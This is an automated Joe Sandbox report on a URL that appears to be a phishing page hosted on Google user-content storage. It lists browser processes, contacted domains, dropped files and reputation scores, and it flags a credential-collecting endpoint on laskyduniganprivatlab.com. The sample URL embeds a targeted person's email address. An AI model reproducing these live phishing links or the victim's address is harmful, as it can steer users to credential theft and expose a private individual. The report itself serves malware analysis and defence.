Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe 'C:\Program Files\Google\Chrome\Application\chrome.exe' --start-maximized --enable-automation 'https://00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.com/download/storage/v1/b/logon_id63757945b-32c6-49b0-83e6-1d93765276e7/o/index.html?jk=AFshE3VcvfzNdf-7zMKWd94-4dMrNIkOLLE47CQ43PY7P2MYpfKpiTisbCiM8ITDVUzsV5uBnwUTgNfImCvdn95XFg7yLPb4pK7mGtnykL6H73onzrS0TNqkpgxfmCGl9SjrMUh2HXQovXq0n_fa5hqbVlcfrBGOpBCkBBOuoY-yrNdFJA6qsh5mXJeZJEWhpyesRFni67jgONcRuOW0IhE2TSFjfiZ1kcHtUg4IakFROfuF2ixmgmZ0cygvwFJgzltWAi4BZy9gK7vN7kuIcB7IqaENeixO24771GkuNYSmkiDTJACa0r0VCNPcQlcK5lGRRAu7CmqBicTQElQR1sT8UAlS8qEccylxwvHxtG1ZQipoKLv7jRTmXa5gKf9qryarS-JmN2Dw-wvzqjvQU3ACMffC05IslAl45AuBr7XJD_AvOH4XV0oB1K69D_BJqrPx5F866tHjL87vL2OzmhOn2ZN6fGK9EaMH6l71egHyEMNh69wwpAccwpkljLmJNVIqygOVxaM5girr-FZHO5mJNqOa9bTFJMZFMQk75Bh1YPELgAun31aycC9L1gEIgi9xS2AI2BDHPNQB6OaElZLJZDJIsOs0jHoqoRQa-BsTDGYlSbZcoI1h5QuM3VxHMbmAZYEyCbHgEmb6QFG4Do70MelMz0hmqK1LB3zOLUGQVyL1NduEuvkLQPWtxDQ3Zeb-GyuldZGFe6ZOCmXUvu2OKrXBBFC3a0i4Io1wftvhtL1urvwaLVPFECoQBACGCtpQtZ45u5bBlHyHOYGrix_HPHteuU8UlCF1QPHHFIVg5XjWbBd9deixk_udmpRBTRN6b7-93o-J_Lga6iMebvzrAh6z2qFEd8YAqgMmCaIpY3uuMGkMbvjX_71pF2dS6_eUeo82_XpG60fSB3QZnvV0oMGUvZu6gOHeues8gSXLQCwqfhwa_7AgDj94Gv_4jjp6oSobCikZNfcIVBrhso8uTX4sUJ5X9GsLxXBisRNqpQ&isca=1#david.acquaviva@searshc.com'
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe 'C:\Program Files\Google\Chrome\Application\chrome.exe' --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1560,11279809522291121238,16691019274040458448,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1920 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe 'C:\Program Files\Google\Chrome\Application\chrome.exe' --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1560,11279809522291121238,16691019274040458448,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1920 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Joe Sandbox Cloud Basic: Detection: clean Score: 0

Perma Link

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics\BrowserMetrics-6177571E-16A8.pma

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries\en-US-9-0.bdic			Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Process Injection1	Masquerading3	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Process Injection1	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Non-Application Layer Protocol3	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Application Layer Protocol4	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Ingress Tool Transfer1	SIM Card Swap		Carrier Billing Fraud

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
https://00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.com/download/storage/v1/b/logon_id63757945b-32c6-49b0-83e6-1d93765276e7/o/index.html?jk=AFshE3VcvfzNdf-7zMKWd94-4dMrNIkOLLE47CQ43PY7P2MYpfKpiTisbCiM8ITDVUzsV5uBnwUTgNfImCvdn95XFg7yLPb4pK7mGtnykL6H73onzrS0TNqkpgxfmCGl9SjrMUh2HXQovXq0n_fa5hqbVlcfrBGOpBCkBBOuoY-yrNdFJA6qsh5mXJeZJEWhpyesRFni67jgONcRuOW0IhE2TSFjfiZ1kcHtUg4IakFROfuF2ixmgmZ0cygvwFJgzltWAi4BZy9gK7vN7kuIcB7IqaENeixO24771GkuNYSmkiDTJACa0r0VCNPcQlcK5lGRRAu7CmqBicTQElQR1sT8UAlS8qEccylxwvHxtG1ZQipoKLv7jRTmXa5gKf9qryarS-JmN2Dw-wvzqjvQU3ACMffC05IslAl45AuBr7XJD_AvOH4XV0oB1K69D_BJqrPx5F866tHjL87vL2OzmhOn2ZN6fGK9EaMH6l71egHyEMNh69wwpAccwpkljLmJNVIqygOVxaM5girr-FZHO5mJNqOa9bTFJMZFMQk75Bh1YPELgAun31aycC9L1gEIgi9xS2AI2BDHPNQB6OaElZLJZDJIsOs0jHoqoRQa-BsTDGYlSbZcoI1h5QuM3VxHMbmAZYEyCbHgEmb6QFG4Do70MelMz0hmqK1LB3zOLUGQVyL1NduEuvkLQPWtxDQ3Zeb-GyuldZGFe6ZOCmXUvu2OKrXBBFC3a0i4Io1wftvhtL1urvwaLVPFECoQBACGCtpQtZ45u5bBlHyHOYGrix_HPHteuU8UlCF1QPHHFIVg5XjWbBd9deixk_udmpRBTRN6b7-93o-J_Lga6iMebvzrAh6z2qFEd8YAqgMmCaIpY3uuMGkMbvjX_71pF2dS6_eUeo82_XpG60fSB3QZnvV0oMGUvZu6gOHeues8gSXLQCwqfhwa_7AgDj94Gv_4jjp6oSobCikZNfcIVBrhso8uTX4sUJ5X9GsLxXBisRNqpQ&isca=1#david.acquaviva@searshc.com	0%	Avira URL Cloud	safe

Dropped Files

Source	Detection	Scanner	Link
C:\Users\user\AppData\Local\Temp\5800_1946143775\_platform_specific\x86_64\pnacl_public_x86_64_ld_nexe	0%	Metadefender	Browse
C:\Users\user\AppData\Local\Temp\5800_1946143775\_platform_specific\x86_64\pnacl_public_x86_64_ld_nexe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\5800_1946143775\_platform_specific\x86_64\pnacl_public_x86_64_pnacl_llc_nexe	0%	Metadefender	Browse
C:\Users\user\AppData\Local\Temp\5800_1946143775\_platform_specific\x86_64\pnacl_public_x86_64_pnacl_llc_nexe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\5800_1946143775\_platform_specific\x86_64\pnacl_public_x86_64_pnacl_sz_nexe	0%	Metadefender	Browse
C:\Users\user\AppData\Local\Temp\5800_1946143775\_platform_specific\x86_64\pnacl_public_x86_64_pnacl_sz_nexe	0%	ReversingLabs

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://crl.pki.goog/gsr1/gsr1.crl0;	0%	URL Reputation	safe
http://crls.pki.goog/gts1c3/fVJxbV-Ktmk.crl0	0%	URL Reputation	safe
http://pki.goog/repo/certs/gtsr1.der04	0%	URL Reputation	safe
https://csp.withgoogle.com/csp/report-to/hosted-libraries-pushers	0%	URL Reputation	safe
https://dns.google	0%	URL Reputation	safe
https://www.google.com;	0%	Avira URL Cloud	safe
http://crl.pki.goog/gtsr1/gtsr1.crl0W	0%	URL Reputation	safe
http://pki.goog/gsr1/gsr1.crt02	0%	URL Reputation	safe
https://pki.goog/repository/0	0%	URL Reputation	safe
https://csp.withgoogle.com/csp/hosted-libraries-pushers	0%	URL Reputation	safe
https://laskyduniganprivatlab.com/common/logon/next.php	4%	Virustotal		Browse
https://laskyduniganprivatlab.com/common/logon/next.php	100%	Avira URL Cloud	phishing
https://csp.withgoogle.com/csp/hosted-libraries-pushersCross-Origin-Resource-Policy:	0%	URL Reputation	safe
https://csp.withgoogle.com/csp/report-to/encsid_AZM8iraMxxUfRnRum-EGst9UuHcPNVSf9Kp1_90wIgU	0%	URL Reputation	safe
http://pki.goog/repo/certs/gts1c3.der0	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
stackpath.bootstrapcdn.com	104.18.10.207	true	false	high
gstaticadssl.l.google.com	216.58.215.227	true	false	high
accounts.google.com	142.250.203.109	true	false	high
cdnjs.cloudflare.com	104.16.19.94	true	false	high
maxcdn.bootstrapcdn.com	104.18.10.207	true	false	high
clients.l.google.com	142.250.181.238	true	false	high
googlehosted.l.googleusercontent.com	172.217.168.33	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
clients2.google.com	unknown	unknown	false	high
ka-f.fontawesome.com	unknown	unknown	false	high
code.jquery.com	unknown	unknown	false	high
00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.com	unknown	unknown	false	high
kit.fontawesome.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	false	high
https://clients2.google.com/service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=85.0.4183.121&lang=en-US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dpkedcjkdefgpdelpbcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1	false	high
https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard	false	high
https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js	false	high
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css	false	high
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.pki.goog/gsr1/gsr1.crl0;	data_3.2.dr	false	URL Reputation: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.jskf	data_1.2.dr	false		high
https://apis.google.com/js/client.js	mirroring_common.js.0.dr	false		high
https://00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.com/favicon.icoChIKBw2D	data_1.2.dr	false		high
https://ka-f.fontawesome.com	data_3.2.dr	false		high
https://www.google.com/images/cleardot.gif	craw_window.js.0.dr	false		high
https://code.jquery.com/jquery-3.2.1.slim.min.js	data_3.2.dr, data_1.2.dr	false		high
https://play.google.com	87f7696b-5039-4fdb-a102-3f34d3c97e7f.tmp.2.dr, e7317a57-3d14-4fd9-8697-bfbd8158919d.tmp.2.dr	false		high
https://crash.corp.google.com/samples?reportid=&q=	mirroring_cast_streaming.js.0.dr, common.js.0.dr	false		high
https://www.google.com/log?format=json&hasfast=true	mirroring_hangouts.js.0.dr	false		high
https://ka-f.fontawesome.com/releases/v5.15.4/css/free-v4-shims.min.css?token=585b051251	data_1.2.dr	false		high
https://easylist.to/)	LICENSE.txt.0.dr	false		high
https://sandbox.google.com/payments/v4/js/integrator.js	craw_window.js.0.dr, manifest.json.0.dr	false		high
http://www.ietf.org/id/draft-holmer-rmcat-transport-wide-cc-extensions-01	mirroring_hangouts.js.0.dr	false		high
https://accounts.google.com/MergeSession	craw_window.js.0.dr	false		high
https://creativecommons.org/compatiblelicenses	LICENSE.txt.0.dr	false		high
https://preprod-hangouts-googleapis.sandbox.google.com	mirroring_hangouts.js.0.dr	false		high
http://crls.pki.goog/gts1c3/fVJxbV-Ktmk.crl0	data_3.2.dr	false	URL Reputation: safe	unknown
http://pki.goog/repo/certs/gtsr1.der04	data_3.2.dr	false	URL Reputation: safe	unknown
https://www.google.com	87f7696b-5039-4fdb-a102-3f34d3c97e7f.tmp.2.dr, e7317a57-3d14-4fd9-8697-bfbd8158919d.tmp.2.dr, manifest.json0.0.dr	false		high
https://github.com/easylist)	LICENSE.txt.0.dr	false		high
https://creativecommons.org/.	LICENSE.txt.0.dr	false		high
https://hangouts.clients6.google.com	mirroring_hangouts.js.0.dr	false		high
https://meet.google.com	mirroring_common.js.0.dr	false		high
https://hangouts.google.com/hangouts/_/logpref	mirroring_hangouts.js.0.dr	false		high
https://accounts.google.com	87f7696b-5039-4fdb-a102-3f34d3c97e7f.tmp.2.dr, e7317a57-3d14-4fd9-8697-bfbd8158919d.tmp.2.dr, manifest.json0.0.dr	false		high
https://clients2.google.com/cr/report	mirroring_hangouts.js.0.dr, mirroring_cast_streaming.js.0.dr	false		high
http://angularjs.org	angular.js.0.dr	false		high
https://creativecommons.org/publicdomain/zero/1.0/.	mirroring_hangouts.js.0.dr	false		high
https://github.com/angular/material	material_css_min.css.0.dr	false		high
https://apis.google.com	87f7696b-5039-4fdb-a102-3f34d3c97e7f.tmp.2.dr, e7317a57-3d14-4fd9-8697-bfbd8158919d.tmp.2.dr, manifest.json0.0.dr	false		high
https://kit.fontawesome.com/585b051251.js	data_1.2.dr	false		high
https://www.google.com/accounts/OAuthLogin?issueuberauth=1	craw_window.js.0.dr	false		high
https://github.com/madler/zlib/blob/master/zlib.h	mirroring_hangouts.js.0.dr	false		high
https://www-googleapis-staging.sandbox.google.com	craw_window.js.0.dr, craw_background.js.0.dr	false		high
https://a.nel.cloudflare.com/report/v3?s=E7BwEBO%2FNJbH8jI5GxGK1G4KpkHazo5UjO2gc%2FDQ9HL7lJ2GvAjzObc	Reporting and NEL.2.dr	false		high
https://csp.withgoogle.com/csp/report-to/hosted-libraries-pushers	data_3.2.dr, Reporting and NEL.2.dr	false	URL Reputation: safe	unknown
https://clients2.google.com	87f7696b-5039-4fdb-a102-3f34d3c97e7f.tmp.2.dr, e7317a57-3d14-4fd9-8697-bfbd8158919d.tmp.2.dr	false		high
https://00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.com/favicon.ico	data_1.2.dr	false		high
https://00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.com	87f7696b-5039-4fdb-a102-3f34d3c97e7f.tmp.2.dr	false		high
https://www.google.com/tools/feedback	feedback_script.js.0.dr	false		high
http://www.apache.org/licenses/LICENSE-2.0	mirroring_hangouts.js.0.dr	false		high
https://dns.google	87f7696b-5039-4fdb-a102-3f34d3c97e7f.tmp.2.dr, fb916b91-1de5-4a97-a1b9-d05f0ecb0538.tmp.2.dr, e7317a57-3d14-4fd9-8697-bfbd8158919d.tmp.2.dr, 90ffbf66-70a1-431f-ab38-4e0141a0e529.tmp.2.dr	false	URL Reputation: safe	unknown
https://github.com/google/closure-library/wiki/goog.module:-an-ES6-module-like-alternative-to-goog.p	craw_window.js.0.dr, craw_background.js.0.dr	false		high
https://www.google.com/intl/en-US/chrome/blank.html	craw_background.js.0.dr	false		high
https://ogs.google.com	87f7696b-5039-4fdb-a102-3f34d3c97e7f.tmp.2.dr, e7317a57-3d14-4fd9-8697-bfbd8158919d.tmp.2.dr	false		high
https://support.google.com/chromecast/troubleshooter/2995236	messages.json41.0.dr, feedback.html.0.dr	false		high
https://00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.com/download/storage/v1	History.0.dr	false		high
http://www.ietf.org/id/draft-holmer-rmcat-transport-wide-cc-extensions	mirroring_hangouts.js.0.dr	false		high
https://payments.google.com/payments/v4/js/integrator.js	craw_window.js.0.dr, manifest.json.0.dr	false		high
https://www.google.com;	manifest.json0.0.dr	false	Avira URL Cloud: safe	low
https://chromium.googlesource.com/a/native_client/pnacl-llvm.git	pnacl_public_x86_64_libcrt_platform_a.0.dr	false		high
https://hangouts.google.com/	manifest.json0.0.dr	false		high
http://crl.pki.goog/gtsr1/gtsr1.crl0W	data_3.2.dr	false	URL Reputation: safe	unknown
http://pki.goog/gsr1/gsr1.crt02	data_3.2.dr	false	URL Reputation: safe	unknown
https://ka-f.fontawesome.com/releases/v5.15.4/css/free.min.css?token=585b051251	data_1.2.dr	false		high
https://pki.goog/repository/0	data_3.2.dr	false	URL Reputation: safe	unknown
https://csp.withgoogle.com/csp/hosted-libraries-pushers	data_3.2.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/x2.gif	craw_window.js.0.dr	false		high
http://llvm.org/):	pnacl_public_x86_64_pnacl_sz_nexe.0.dr	false		high
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.jsM	data_1.2.dr	false		high
https://www.google.com/images/dot2.gif	craw_window.js.0.dr	false		high
https://kit.fontawesome.com	data_3.2.dr	false		high
https://meetings.clients6.google.com	mirroring_hangouts.js.0.dr	false		high
https://play.google.com/log?format=json&hasfast=true	mirroring_hangouts.js.0.dr	false		high
https://code.google.com/p/nativeclient/issues/entry%s:	pnacl_public_x86_64_ld_nexe.0.dr	false		high
http://tools.ietf.org/html/rfc1950	mirroring_hangouts.js.0.dr	false		high
https://laskyduniganprivatlab.com/common/logon/next.php	data_3.2.dr	true	4%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://code.google.com/p/nativeclient/issues/entry	pnacl_public_x86_64_ld_nexe.0.dr	false		high
https://csp.withgoogle.com/csp/hosted-libraries-pushersCross-Origin-Resource-Policy:	data_3.2.dr	false	URL Reputation: safe	unknown
https://support.google.com/chromecast/answer/2998456	messages.json41.0.dr, feedback.html.0.dr	false		high
https://csp.withgoogle.com/csp/report-to/encsid_AZM8iraMxxUfRnRum-EGst9UuHcPNVSf9Kp1_90wIgU	data_3.2.dr, Reporting and NEL.2.dr	false	URL Reputation: safe	unknown
https://clients2.googleusercontent.com	87f7696b-5039-4fdb-a102-3f34d3c97e7f.tmp.2.dr, e7317a57-3d14-4fd9-8697-bfbd8158919d.tmp.2.dr	false		high
https://docs.google.com	mirroring_common.js.0.dr	false		high
https://a.nel.cloudflare.com/report/v3?s=SiYnHebMjN373%2B5EkY%2FlpsMd8SEgwXmx394Z0tAo9xol7i6PO7z0fux	Reporting and NEL.2.dr	false		high
https://www.google.com/	manifest.json.0.dr	false		high
https://feedback.googleusercontent.com	manifest.json0.0.dr	false		high
https://chromium.googlesource.com/a/native_client/pnacl-clang.git	pnacl_public_x86_64_libcrt_platform_a.0.dr	false		high
https://clients2.google.com/service/update2/crx	manifest.json1.0.dr, manifest.json0.0.dr	false		high
https://clients6.google.com	mirroring_hangouts.js.0.dr	false		high
http://pki.goog/repo/certs/gts1c3.der0	data_3.2.dr	false	URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
104.18.10.207	stackpath.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
216.58.215.227	gstaticadssl.l.google.com	United States	15169	GOOGLEUS	false
142.250.181.238	clients.l.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
172.217.168.33	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
104.16.19.94	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
142.250.203.109	accounts.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.1
127.0.0.1

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	508883
Start date:	25.10.2021
Start time:	18:16:25
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 20s
Hypervisor based Inspection enabled:	false
Report type:	light
Cookbook file name:	browseurl.jbs
Sample URL:	https://00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.com/download/storage/v1/b/logon_id63757945b-32c6-49b0-83e6-1d93765276e7/o/index.html?jk=AFshE3VcvfzNdf-7zMKWd94-4dMrNIkOLLE47CQ43PY7P2MYpfKpiTisbCiM8ITDVUzsV5uBnwUTgNfImCvdn95XFg7yLPb4pK7mGtnykL6H73onzrS0TNqkpgxfmCGl9SjrMUh2HXQovXq0n_fa5hqbVlcfrBGOpBCkBBOuoY-yrNdFJA6qsh5mXJeZJEWhpyesRFni67jgONcRuOW0IhE2TSFjfiZ1kcHtUg4IakFROfuF2ixmgmZ0cygvwFJgzltWAi4BZy9gK7vN7kuIcB7IqaENeixO24771GkuNYSmkiDTJACa0r0VCNPcQlcK5lGRRAu7CmqBicTQElQR1sT8UAlS8qEccylxwvHxtG1ZQipoKLv7jRTmXa5gKf9qryarS-JmN2Dw-wvzqjvQU3ACMffC05IslAl45AuBr7XJD_AvOH4XV0oB1K69D_BJqrPx5F866tHjL87vL2OzmhOn2ZN6fGK9EaMH6l71egHyEMNh69wwpAccwpkljLmJNVIqygOVxaM5girr-FZHO5mJNqOa9bTFJMZFMQk75Bh1YPELgAun31aycC9L1gEIgi9xS2AI2BDHPNQB6OaElZLJZDJIsOs0jHoqoRQa-BsTDGYlSbZcoI1h5QuM3VxHMbmAZYEyCbHgEmb6QFG4Do70MelMz0hmqK1LB3zOLUGQVyL1NduEuvkLQPWtxDQ3Zeb-GyuldZGFe6ZOCmXUvu2OKrXBBFC3a0i4Io1wftvhtL1urvwaLVPFECoQBACGCtpQtZ45u5bBlHyHOYGrix_HPHteuU8UlCF1QPHHFIVg5XjWbBd9deixk_udmpRBTRN6b7-93o-J_Lga6iMebvzrAh6z2qFEd8YAqgMmCaIpY3uuMGkMbvjX_71pF2dS6_eUeo82_XpG60fSB3QZnvV0oMGUvZu6gOHeues8gSXLQCwqfhwa_7AgDj94Gv_4jjp6oSobCikZNfcIVBrhso8uTX4sUJ5X9GsLxXBisRNqpQ&isca=1#david.acquaviva@searshc.com
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal56.phis.win@32/242@10/9
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, WMIADAP.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe TCP Packets have been reduced to 100 Created / dropped Files have been reduced to 100 Excluded IPs from analysis (whitelisted): 142.250.203.110, 34.104.35.123, 173.194.188.201, 142.250.203.99, 172.217.168.10, 69.16.175.10, 69.16.175.42, 104.18.23.52, 104.18.22.52, 142.250.203.106, 104.21.81.131, 172.67.161.47, 216.58.215.234, 20.82.210.154, 173.222.108.210, 173.222.108.226, 209.197.3.8, 20.54.110.249, 40.112.88.60, 52.251.79.25, 80.67.82.235, 80.67.82.211, 172.217.168.42, 172.217.168.74, 20.82.209.183 Excluded domains from analysis (whitelisted): cds.s5x3j6q5.hwcdn.net, ka-f.fontawesome.com.cdn.cloudflare.net, consumer-displaycatalogrp-aks2aks-useast.md.mp.microsoft.com.akadns.net, clientservices.googleapis.com, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a767.dspw65.akamai.net, a1449.dscg2.akamai.net, arc.msn.com, r4.sn-4g5ednsd.gvt1.com, redirector.gvt1.com, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, update.googleapis.com, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, www.gstatic.com, img-prod-cms-rt-microsoft-com.akamaized.net, kit.fontawesome.com.cdn.cloudflare.net, fonts.googleapis.com, iris-de-prod-azsc-neu.northeurope.cloudapp.azure.com, r4---sn-4g5ednsd.gvt1.com, content-autofill.googleapis.com, ajax.googleapis.com, fonts.gstatic.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, wu-shim.trafficmanager.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, eus2-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ctldl.windowsupdate.com, cds.d2s7q6s2.hwcdn.net, www.googleapis.com, download.windowsupdate.com.edgesuite.net, ris.api.iris.microsoft.com, edgedl.me.gvt1.com, displaycatalog-rp-useast.md.mp.microsoft.com.akadns.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtCreateFile calls found. Report size getting too big, too many NtOpenFile calls found. Report size getting too big, too many NtQueryVolumeInformationFile calls found. Report size getting too big, too many NtSetInformationFile calls found. Report size getting too big, too many NtWriteVirtualMemory calls found.

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Program Files\Google\Chrome\Application\Dictionaries\en-US-9-0.bdic Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	451603
Entropy (8bit):	5.009711072558331
Encrypted:	false
SSDEEP:	12288:ZHfRTyGZ6lup8Cfrvq4JBPKh+FBlESBw4p6:NfOCzvRKhGvwJ
MD5:	A78AD14E77147E7DE3647E61964C0335
SHA1:	CECC3DD41F4CEA0192B24300C71E1911BD4FCE45
SHA-256:	0D6803758FF8F87081FAFD62E90F0950DFB2DD7991E9607FE76A8F92D0E893FA
